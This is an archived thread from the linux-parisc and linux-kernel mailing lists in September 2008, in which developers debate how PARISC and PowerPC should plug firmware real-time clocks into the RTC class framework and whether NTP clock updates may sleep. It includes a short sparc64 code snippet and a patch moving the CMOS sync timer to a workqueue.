> All the powerpc folks are doing is providing a dummy shim into the
> RTC layer using their machine description vector, and not really using
> the RTC layer drivers at all.

But realistically that's all we need.  Our RTC is controlled by two
calls into firmware: a get and a set; nothing else.  We don't have the
docs to get at the clock without the firmware calls.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 8 Sep 2008 16:29:20 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <200809081629.21125.david-b@pacbell.net>
References: <200809081429.57805.david-b@pacbell.net> <1220914847.8074.81.camel@localhost.localdomain> <20080908.160441.124972717.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220916620 28469 80.91.229.12 (8 Sep 2008 23:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 23:30:20 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Alessandro Zummo <alessandro.zummo@towertech.it>
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 01:31:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcqBf-0002kk-1z
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 01:30:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753437AbYIHX3Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 19:29:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753893AbYIHX3Y
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 19:29:24 -0400
Original-Received: from smtp121.sbc.mail.sp1.yahoo.com ([69.147.64.94]:43468 "HELO
	smtp121.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1753437AbYIHX3X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 19:29:23 -0400
Original-Received: (qmail 74545 invoked from network); 8 Sep 2008 23:29:22 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=E34VziBirbUdfzR7r3BMcksEBz58pQmPkIp5OPXVRSGVRXHLRI+Ixb6bgvE7ZaZztg3v8ICZatdbw566/up9bV2KozJVcv/excqveeAbm3TgId4rlqlMhxYVIOYDwZ8aoddWRldy0ABC7PKQ3ifNZTJ02KCnpbnUxhFp/R8jg5E=  ;
Original-Received: from unknown (HELO pogo.local) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp121.sbc.mail.sp1.yahoo.com with SMTP; 8 Sep 2008 23:29:22 -0000
X-YMail-OSG: 6v3TjwkVM1lpStIiIzebNC7iFc6hoZMj4BHmM.MwqaQ4uUoaLm7kavT0IyiG5IVEknYousuY20Niu710VP9O77zUF2Uvr5fO9gvcV2u_StBDhu.QiiMzVHu10Ho36UI70c8-
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <20080908.160441.124972717.davem@davemloft.net>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:753 gmane.linux.kernel:731293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/753>

On Monday 08 September 2008, David Miller wrote:
> I think the powerpc folks did the wrong thing and should just register
> generic platform_device objects in their platform code, and let the
> RTC layer drive the individual devices in response.

I kind of thought that was a migration aid ... 


> All the powerpc folks are doing is providing a dummy shim into the
> RTC layer using their machine description vector, and not really using
> the RTC layer drivers at all.

I basically agree.  There's functional overlap between those
machine descriptions and the RTC framework, and it should be
removed (by shrinking those descriptions).  The shim gets
/dev/rtcN support, and thus hwclock; also /sys/class/rtc/*
stuff.  But no wake alarms...


That said, there's a bit of unresolved stuff around NTP hooks
in the kernel.  Some patches are pending to let thtem work with
the RTC framework -- where writing an RTC may need to sleep,
for example because the RTC is on an I2C or SPI bus.  And
then there's the discussion of whether that shouldn't all be
handled by NTPD anyway, no special kernel support desired.
Alessandro has opinions there.  ;)

ISTR that was a factor in the powerpc taking that "sideways"
step.  Or if not powerpc, then some other arch.

- Dave

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 8 Sep 2008 16:32:25 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <200809081632.26166.david-b@pacbell.net>
References: <200809081429.57805.david-b@pacbell.net> <20080908.160441.124972717.davem@davemloft.net> <1220916186.8074.84.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1220916758 28990 80.91.229.12 (8 Sep 2008 23:32:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 23:32:38 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, torvalds@linux-foundation.org,
	akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 01:33:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcqEd-0003vf-Mz
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 01:33:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754460AbYIHXc3 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 19:32:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754337AbYIHXc3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 19:32:29 -0400
Original-Received: from smtp119.sbc.mail.sp1.yahoo.com ([69.147.64.92]:43182 "HELO
	smtp119.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1753969AbYIHXc3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 19:32:29 -0400
Original-Received: (qmail 66087 invoked from network); 8 Sep 2008 23:32:28 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=QNSgGWiQS/cEvhaG+DFS8bKmnSTOgluWyGUILWWjhAV5Ekmq4+VAhb/rNBBXvjzf27U8UZAhnXvY68+Mr8S45nhDOo8dBZrSq0OUpMs0TaUUUXzUU4Eq+cJFqu9AW3c4X4ZmrRoqq9dp34Hiiz7AR+e1OgoFFNDBl8g0FdTdznk=  ;
Original-Received: from unknown (HELO pogo.local) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp119.sbc.mail.sp1.yahoo.com with SMTP; 8 Sep 2008 23:32:27 -0000
X-YMail-OSG: uJZq_C0VM1nKEwiscaOiuowztwKjXXqZJD_IcaigoIjD.yvlf1DJEhR5qWSFBdtT6CVbhqLDbS_nzFlEXyj8ySXfMTICiAOosa_joqiUsx3L5Jw9BKVzeCE1CLk964QbfXs-
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <1220916186.8074.84.camel@localhost.localdomain>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:754 gmane.linux.kernel:731294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/754>

On Monday 08 September 2008, James Bottomley wrote:
>=20
> > All the powerpc folks are doing is providing a dummy shim into the
> > RTC layer using their machine description vector, and not really us=
ing
> > the RTC layer drivers at all.
>=20
> But realistically that's all we need. =A0Our RTC is controlled by two
> calls into firmware: a get and a set; nothing else. =A0We don't have =
the
> docs to get at the clock without the firmware calls.

True for PARISC ... but not for PowerPC.  Lots of PowerPC
system boards use off-the-shelf RTCs with more capabilities
than the machine description vector acknowledges.

- Dave

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 16:43:05 -0700 (PDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <20080908.164305.140831737.davem@davemloft.net>
References: <1220914847.8074.81.camel@localhost.localdomain>
	<20080908.160441.124972717.davem@davemloft.net>
	<1220916186.8074.84.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220917400 30967 80.91.229.12 (8 Sep 2008 23:43:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 23:43:20 +0000 (UTC)
Cc: david-b@pacbell.net, torvalds@linux-foundation.org,
	akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 01:44:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcqP0-00063F-PW
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 01:44:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754068AbYIHXnN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 19:43:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753657AbYIHXnM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 19:43:12 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:56306
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1754068AbYIHXnM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 19:43:12 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 6E12AC8C1B4;
	Mon,  8 Sep 2008 16:43:05 -0700 (PDT)
In-Reply-To: <1220916186.8074.84.camel@localhost.localdomain>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:755 gmane.linux.kernel:731296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/755>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Mon, 08 Sep 2008 18:23:06 -0500

> But realistically that's all we need.  Our RTC is controlled by two
> calls into firmware: a get and a set; nothing else.  We don't have the
> docs to get at the clock without the firmware calls.

I wrote RTC layer drivers on sparc64 that make the firmware calls in
the Niagara system case, exactly like your case.

Really, this is the way to do this.

Since you're not reading what I implemented, I'll read it for you :-/

See drivers/rtc/rtc-sun4v.c, that's the driver

Code in arch/sparc64/kernel/time.c creates and registers the
appropriate platform_device object once the correct system type is
detected, and then rtc-sun4v.c attaches when such objects have been
registered.

Likewise for all the other RTC types that can be found on Sparc machines.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 16:44:27 -0700 (PDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20080908.164427.216880550.davem@davemloft.net>
References: <1220914847.8074.81.camel@localhost.localdomain>
	<20080908.160441.124972717.davem@davemloft.net>
	<200809081629.21125.david-b@pacbell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220917484 31178 80.91.229.12 (8 Sep 2008 23:44:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 23:44:44 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	alessandro.zummo@towertech.it
To: david-b@pacbell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 01:45:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcqQM-0006P5-2I
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 01:45:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753250AbYIHXof (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 19:44:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753657AbYIHXof
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 19:44:35 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:48731
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1753250AbYIHXoe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 19:44:34 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 294D5C8C1B4;
	Mon,  8 Sep 2008 16:44:28 -0700 (PDT)
In-Reply-To: <200809081629.21125.david-b@pacbell.net>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:756 gmane.linux.kernel:731298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/756>

From: David Brownell <david-b@pacbell.net>
Date: Mon, 8 Sep 2008 16:29:20 -0700

> That said, there's a bit of unresolved stuff around NTP hooks
> in the kernel.  Some patches are pending to let thtem work with
> the RTC framework -- where writing an RTC may need to sleep,
> for example because the RTC is on an I2C or SPI bus.  And
> then there's the discussion of whether that shouldn't all be
> handled by NTPD anyway, no special kernel support desired.
> Alessandro has opinions there.  ;)

My update_persistent_clock() on sparc64 is:

int update_persistent_clock(struct timespec now)
{
	struct rtc_device *rtc = rtc_class_open("rtc0");

	if (rtc)
		return rtc_set_mmss(rtc, now.tv_sec);

	return -1;
}

and that should handle this NTP shouldn't it?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 8 Sep 2008 17:55:25 -0700
Lines: 117
Approved: news@gmane.org
Message-ID: <200809081755.26148.david-b@pacbell.net>
References: <1220914847.8074.81.camel@localhost.localdomain> <200809081629.21125.david-b@pacbell.net> <20080908.164427.216880550.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220921741 11987 80.91.229.12 (9 Sep 2008 00:55:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 00:55:41 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	alessandro.zummo@towertech.it
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 02:56:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcrX1-00050L-8I
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 02:56:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753076AbYIIAzc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 20:55:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754853AbYIIAzc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 20:55:32 -0400
Original-Received: from smtp122.sbc.mail.sp1.yahoo.com ([69.147.64.95]:23269 "HELO
	smtp122.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1753076AbYIIAzb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 20:55:31 -0400
Original-Received: (qmail 86811 invoked from network); 9 Sep 2008 00:55:30 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=MPEI7bBUzRvyNs3LUSfIUDPWu+OCXuG+k/o37ljqUkJVmsD4EanKxYdk3qUfR8NLfV4sOEA3DkN5WGd/PdjBZ5PgXKDigrBorWPmwJ8ef4QYSfwAowiTP3RTomGv/Cq+kbva73BfXJ+AE8G+aGmwD9WPEPDHo4RENRO/WEvMavo=  ;
Original-Received: from unknown (HELO pogo) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp122.sbc.mail.sp1.yahoo.com with SMTP; 9 Sep 2008 00:55:30 -0000
X-YMail-OSG: NTTRycoVM1lX_kKpFob9qQb_zL2elcil2k4Yz7jBkL__DgWIzX9di2lYAr3lfdZ57G8.v5XRJnmnWZboEElJZ.KPSjsW5DiW0gceBCIDz5smCYdMAyTgYSatHMhd04Y-
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <20080908.164427.216880550.davem@davemloft.net>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:757 gmane.linux.kernel:731311
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/757>

On Monday 08 September 2008, David Miller wrote:
> From: David Brownell <david-b@pacbell.net>
> Date: Mon, 8 Sep 2008 16:29:20 -0700
> 
> > That said, there's a bit of unresolved stuff around NTP hooks
> > in the kernel.  Some patches are pending to let thtem work with
> > the RTC framework -- where writing an RTC may need to sleep,
> > for example because the RTC is on an I2C or SPI bus.  And
> > then there's the discussion of whether that shouldn't all be
> > handled by NTPD anyway, no special kernel support desired.
> > Alessandro has opinions there.  ;)
> 
> My update_persistent_clock() on sparc64 is:
> 
> int update_persistent_clock(struct timespec now)
> {
> 	struct rtc_device *rtc = rtc_class_open("rtc0");

I'd be tempted to cache that ... notice how you never
close it, too.  That will goof lots of refcounts...


> 	if (rtc)
> 		return rtc_set_mmss(rtc, now.tv_sec);
> 
> 	return -1;
> }
> 
> and that should handle this NTP shouldn't it?

Depends on what patches have applied; I've lost track
of whether it's now ok for update_persistent_clock()
to sleep.  Previously it was not, without a critical
patch (appended).

Having something like that work is *certainly* a goal,
at least for those who don't want to get rid of those
kernel NTP hooks entirely.

And of course, once that works I'd claim it should live
in drivers/rtc for the benefit of other platforms.  :)

- Dave
 
=============== CUT ON THE DOTTED LINE ==================
Subject: ntp: let update_persistent_clock() sleep
From: "Maciej W. Rozycki" <macro@linux-mips.org>

This is a change that makes the 11-minute RTC update be run in the process
context.  This is so that update_persistent_clock() can sleep, which may
be required for certain types of RTC hardware -- most notably I2C devices.

Signed-off-by: Maciej W. Rozycki <macro@linux-mips.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Roman Zippel <zippel@linux-m68k.org>
Cc: Rik van Riel <riel@redhat.com>
Cc: Alessandro Zummo <a.zummo@towertech.it>
Cc: David Brownell <david-b@pacbell.net>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---
 kernel/time/ntp.c |   12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

--- a/kernel/time/ntp.c	2008-06-30 21:20:51.000000000 -0700
+++ b/kernel/time/ntp.c	2008-06-30 21:21:27.000000000 -0700
@@ -10,13 +10,13 @@
 
 #include <linux/mm.h>
 #include <linux/time.h>
-#include <linux/timer.h>
 #include <linux/timex.h>
 #include <linux/jiffies.h>
 #include <linux/hrtimer.h>
 #include <linux/capability.h>
 #include <linux/math64.h>
 #include <linux/clocksource.h>
+#include <linux/workqueue.h>
 #include <asm/timex.h>
 
 /*
@@ -218,11 +218,11 @@ void second_overflow(void)
 /* Disable the cmos update - used by virtualization and embedded */
 int no_sync_cmos_clock  __read_mostly;
 
-static void sync_cmos_clock(unsigned long dummy);
+static void sync_cmos_clock(struct work_struct *work);
 
-static DEFINE_TIMER(sync_cmos_timer, sync_cmos_clock, 0, 0);
+static DECLARE_DELAYED_WORK(sync_cmos_work, sync_cmos_clock);
 
-static void sync_cmos_clock(unsigned long dummy)
+static void sync_cmos_clock(struct work_struct *work)
 {
 	struct timespec now, next;
 	int fail = 1;
@@ -258,13 +258,13 @@ static void sync_cmos_clock(unsigned lon
 		next.tv_sec++;
 		next.tv_nsec -= NSEC_PER_SEC;
 	}
-	mod_timer(&sync_cmos_timer, jiffies + timespec_to_jiffies(&next));
+	schedule_delayed_work(&sync_cmos_work, timespec_to_jiffies(&next));
 }
 
 static void notify_cmos_timer(void)
 {
 	if (!no_sync_cmos_clock)
-		mod_timer(&sync_cmos_timer, jiffies + 1);
+		schedule_delayed_work(&sync_cmos_work, 0);
 }
 
 #else

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mackerras <paulus@samba.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Tue, 9 Sep 2008 11:22:48 +1000
Lines: 25
Approved: news@gmane.org
Message-ID: <18629.53224.103107.523514@drongo.ozlabs.ibm.com>
References: <1220914847.8074.81.camel@localhost.localdomain>
	<20080908.160441.124972717.davem@davemloft.net>
	<200809081629.21125.david-b@pacbell.net>
	<20080908.164427.216880550.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220923444 17119 80.91.229.12 (9 Sep 2008 01:24:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 01:24:04 +0000 (UTC)
Cc: david-b@pacbell.net, James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	alessandro.zummo@towertech.it
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 03:24:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcryS-00023p-Sv
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 03:24:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755012AbYIIBXy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 21:23:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754985AbYIIBXy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 21:23:54 -0400
Original-Received: from ozlabs.org ([203.10.76.45]:38268 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753983AbYIIBXx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 21:23:53 -0400
Original-Received: by ozlabs.org (Postfix, from userid 1003)
	id 33DF4DDE23; Tue,  9 Sep 2008 11:22:56 +1000 (EST)
In-Reply-To: <20080908.164427.216880550.davem@davemloft.net>
X-Mailer: VM 8.0.11 under Emacs 22.2.1 (powerpc-unknown-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:758 gmane.linux.kernel:731322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/758>

David Miller writes:

> int update_persistent_clock(struct timespec now)
> {
> 	struct rtc_device *rtc = rtc_class_open("rtc0");
> 
> 	if (rtc)
> 		return rtc_set_mmss(rtc, now.tv_sec);
> 
> 	return -1;
> }
> 
> and that should handle this NTP shouldn't it?

Yes as long as your rtc set functions don't need to sleep, since
update_persistent_clock is called at interrupt level.  Some powerpc
systems have their RTC at the far end of an I2C bus, and the I2C
access routines can sleep.

Paul.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 19:52:35 -0700 (PDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <20080908.195235.200905674.davem@davemloft.net>
References: <200809081629.21125.david-b@pacbell.net>
